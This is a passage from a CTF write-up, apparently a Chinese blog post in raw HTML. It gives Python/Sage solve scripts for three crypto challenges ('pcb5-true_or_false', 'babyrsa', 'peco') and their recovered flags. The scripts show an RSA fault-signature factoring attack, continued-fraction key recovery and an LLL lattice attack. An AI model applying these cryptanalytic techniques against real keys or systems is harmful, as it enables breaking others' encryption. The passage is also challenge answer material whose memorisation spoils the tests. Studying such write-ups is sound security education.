unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Crypto:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pcb5-true_or_false</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> math, json</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> Crypto.Util.number </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span leaf="">A = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1103515245</span></span><span leaf=""><br/></span><span leaf="">B = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12345</span></span><span leaf=""><br/></span><span leaf="">MOD = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">**</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">31</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">lcg</span></span><span style="line-height: 26px;"><span leaf="">(s)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        s = (A*s + B) % MOD</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">yield</span></span><span leaf=""> s &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">unmix</span></span><span style="line-height: 26px;"><span leaf="">(data, seed)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    g = lcg(seed)</span><span leaf=""><br/></span><span leaf="">    out = bytearray()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, len(data), </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        blk = data[i:i+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">        t = bytearray()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> blk:</span><span leaf=""><br/></span><span leaf="">            t.append(b ^ next(g))</span><span leaf=""><br/></span><span leaf="">        out.extend(t[::</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(out)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ---------------- data ----------------</span></span><span leaf=""><br/></span><span leaf="">n = int(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0xb7f5f009342de5a47e1283fdeb22cd85ddcd01cd0279dedbb248f32144dbe9c2dd8c65869a0bc51f93b0db038450417d789a17d70bac364fe3e3e514386eda42d9474cc58bad900e0f3535c469601dc11fe637b82835dd9eec6662bebca8b0446d764478599d709f99ebbe6cda0613206294de045afa31b2d63801b9b507b123&#34;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">e = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">65537</span></span><span leaf=""><br/></span><span leaf="">sig_ok_mixed = bytes.fromhex(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;863a6f1eb90320932267259c7a28b757b6ff5357214663ab7f7b6deb81d4eb50303dd4d5b99811d37b0b208471658378dd6cc95baaec9c716b14bcef24bfd6ca0d5edf5a5edf099310fac466f43c58958a438c56f0a6aee35e244b5c5aa54ea5bf832698f19e4ace0cf437aec5fa4b55e89d643cb03560647f7dbd6d916e8c4b&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sig_fault_mixed = bytes.fromhex(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;62590781e6738820860ff4f2a883ae183d32bbc9f62adca7227184bf84ee2539dc4a86b2356e943569b8b2c071dde8f5bc06d2879bc12aaa957127103f2b57c0d4c794945d9ee0da3a77dc194b9f227a19444ac596c0e6c693eb24455889d49d22e9de540264abee4350311e226f9ac4dfa7086d63a6560b1a6c037bc1dfaf38&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">flag_enc = int(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0x666c61677b64653562384ebfbe1d7a753bf0be4e6906d7d09a758f90967faee2787c3ee4c141a2e918a1&#34;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">seed_hint = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ---------------- solve ----------------</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> seed </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> seed % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">97</span></span><span leaf=""> != seed_hint:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">    sig_ok = bytes_to_long(unmix(sig_ok_mixed, seed))</span><span leaf=""><br/></span><span leaf="">    sig_fault = bytes_to_long(unmix(sig_fault_mixed, (seed + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">123456</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">    p = math.gcd(n, sig_ok - sig_fault)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> &lt; p &lt; n:</span><span leaf=""><br/></span><span leaf="">        q = n // p</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[+] seed =&#34;</span></span><span leaf="">, seed)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> Exception(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;factor not found&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">phi = (p - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) * (q - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">d = inverse(e, phi)</span><span leaf=""><br/></span><span leaf="">m = pow(sig_ok, e, n)</span><span leaf=""><br/></span><span leaf="">flag = long_to_bytes(flag_enc ^ m)</span><span leaf=""><br/></span><span leaf="">print(flag.decode())</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2537037037037037" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030129" src="https://wechat2rss.xlab.app/img-proxy/?k=9494e104&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFjDibEhANN5964Qpz8WwQOdjiaDtIHAA75UF1ns4dKYeOlQiafoiaicAXWyQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">babyrsa</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">c = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7908369000608075306226552240713890041649799894903074579356627811865842237315201153498579205223600526520994811661608630888045462921547166872107507948062717836952855804806976414887413729060431265217539895710936669089248515746191716161194996469977577048602427553584286064475300979649416171469313168995504717602670924606819204605601860560767900702512753735554900344201907921239415885901489708576066483012272256175573658509614344875077232108364134161997767814675830320630271209201503987787921279932886374846298269125068817280777403718279754392091441050281244934594776307137448975055247018414699621410668188864774860026941</span></span><span leaf=""><br/></span><span leaf="">leak = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1.396995694831414203476063690838730308815841662737318558906107823553922718340982125801595368449608188770051881765292978548960520326036779130167518285237817101541807766017642530065080930654694948943506714268685400709580398894902693407016988670394423892586264077247263710263220932577837642377245651448838665854362532801659965471421937839336237670710012298796758992931116659292915200628873553198226185187089027680973673618973869464164460226697625936493428822424637497370197316811245879504779934098600596822159243994319583651080005054538419168988020562590543262648544970376255020489363894055887067948343768399654357738592577280906555896933717091837896978973488220368081406433117367524537063718421897982643644320078600517763936883820416362057895941185749296170109172249907094176821124345672294602380784325702476105763209165109703429326132417850746805701054961710623030742187505484821961670922386999933202645522248608323217011522889282323071281405301772218220381951540118124201599862330377374571641729649420917168701463539034702411</span></span><span leaf=""><br/></span><span leaf="">d = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16306054997613721520756151430779642117683661431522665108784419231044104572118893098180652730976905729602478591047033305251624752030036736271198006715513694904231940253554804069707679445942892410812386221633728427239116007373836662495075237456279818311659331982404534490546781763464409713789636372508503902598331950861474527128323735250673137355260113147338636761737748874105625008482750923429512271416511835596944209137554445130949731646669691366003832655082535985891463876904334888009751956386994969339847254470145428608062575606120441725590059524749595027078238962391188809496875025237129899849787699468205026040721</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> Crypto.Util.number </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span leaf="">cf = continued_fraction(leak)</span><span leaf=""><br/></span><span leaf="">convers = cf.convergents()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> pkd </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> convers:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># possible k, d</span></span><span leaf=""><br/></span><span leaf="">    pp, pq = pkd.as_integer_ratio()</span><span leaf=""><br/></span><span leaf="">    pp=int(pp)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> pp.bit_length()==</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1024</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> isPrime(pp):</span><span leaf=""><br/></span><span leaf="">        flag=long_to_bytes(int(pow(c,d,pp)))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;flag&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> flag:</span><span leaf=""><br/></span><span leaf="">            print(flag)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">flag{th1s_1s_4_ture_fl4g}</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">peco</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> Crypto.Util.number </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> gmpy2 </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> sage.all </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> sympy.core.intfunc </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> iroot</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> sympy.solvers.diophantine.diophantine </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> diop_DN</span><span leaf=""><br/></span><span leaf="">n= int(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866884050311047424068122453972745273167956795195575475691048908906061023817574695902603984554911326264947716547564759877947888574515784489778380086664649338093680740990860192640619047071160362288611331225632270531304525264824445326394068892806774552310748255977040249822464839809344521107040968321810533993659358229305320413</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">c= int(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8176283809770578639445916571748890916863681496488338436815389781344271720445865752568007651231910205530735296305471880971422173915403956857863330698931559658909826642456860761540607878553228782799635976463090037022164739976302533892173751687781100980039065722082091714141141136171701360981540040678479802206949078162548124224838019262997441233919136963696523351831737708850863538007579105976954619102728135600542584651031405327214877358323388674864043740117718200022790892542634633918493245432384562983429810936975869853596007429259749282607844407676244954057886824475948603911174707176467261179324130051317766768127</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">gift1= int(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1293023064232431070902426583269468463</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">gift2= int(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">x = diop_DN(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">105279230912868770223946474836383391725923</span></span><span leaf="">//</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1293023064232431070902426583269468463</span></span><span leaf="">,gift1//</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1293023064232431070902426583269468463</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">][</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">yy=(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1293023064232431070902426583269468463</span></span><span leaf="">*x**</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">-gift1)//</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">105279230912868770223946474836383391725923</span></span><span leaf=""><br/></span><span leaf="">y=iroot(yy,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">print(x)</span><span leaf=""><br/></span><span leaf="">print(y)</span><span leaf=""><br/></span><span leaf="">x=int(x)</span><span leaf=""><br/></span><span leaf="">y=int(y)</span><span leaf=""><br/></span><span leaf="">p = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">110321094976129707319520600986374898031772388334195419291797204096276942296698733990367680023948047820442401228783658911134388494335281166694315709721180388295015528680094263090624783953349710316927409137594927749594230788983109047830897067234559148509079478238626283574442539878131266374870841191635047394681</span></span><span leaf=""><br/></span><span leaf="">q = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">167184364065364685056497190415155636144720644950725295920271367595483444357416641085807605674441141156570389367370149531967480290218274897524375212202875627325755457975276196034582673268786547482587150378645612877166485244134843695743056623756823734183252667243967918491196265305063449882555425959453836272773</span></span><span leaf=""><br/></span><span leaf="">m=pow(c,inverse(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">65537</span></span><span leaf="">,(p</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">)*(q</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">)),n)</span><span leaf=""><br/></span><span leaf="">W=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">**</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">100</span></span><span leaf=""><br/></span><span leaf="">M = Matrix(ZZ, [</span><span leaf=""><br/></span><span leaf="">            [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, x * W],</span><span leaf=""><br/></span><span leaf="">            [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, y * W],</span><span leaf=""><br/></span><span leaf="">            [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, m * W]</span><span leaf=""><br/></span><span leaf="">        ])</span><span leaf=""><br/></span><span leaf="">L=M.LLL()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> row </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> L:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        r0 = abs(row[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        r1 = abs(row[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        r2 = abs(row[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        p1 = long_to_bytes(r0)</span><span leaf=""><br/></span><span leaf="">        p2 = long_to_bytes(r1)</span><span leaf=""><br/></span><span leaf="">        p3=long_to_bytes(r2)</span><span leaf=""><br/></span><span leaf="">        print(p1)</span><span leaf=""><br/></span><span leaf="">        print(p2)</span><span leaf=""><br/></span><span leaf="">        print(p3)     </span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">continue</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">flag{p4ssword_b1g_snake!!}</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: 